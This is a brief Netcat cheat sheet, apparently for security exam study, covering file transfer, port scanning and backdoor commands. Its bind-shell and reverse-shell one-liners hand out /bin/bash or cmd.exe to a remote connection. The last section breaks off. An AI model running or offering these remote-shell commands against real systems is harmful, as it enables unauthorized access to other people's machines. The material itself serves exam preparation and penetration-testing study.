



## NetCat Cheat Sheet

Netcat is the Swiss army knife of network tools. It allows you to transfer files to and from destination. Create connections to and from machines.

### Push file from client to listener

```
nc -l -p [LocalPort] > [outfile]
```

### Pull file from listener to client

```
nc -l -p [LocalPort] < [infile]
```

### Banner Grab

```
nc -v -n -z -w1 [TargetIPAddr] [start_port]-[end_port]
```

### Linux - Create Backdoor

```
nc -l -p [LocalPort] -e /bin/bash
```

### Windows - Create Backdoor

```
nc -l -p [LocalPort] -e cmd.exe
```

### Linux - Reverse Backdoor

```
nc [YourIPAddr] [port] -e /bin/bash
```

### Windows - Reverse Backdoor

```
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**Disclaimer** – This cheat sheet was created to help people with exams. It is not for the purposes of hacking public infrastructure.



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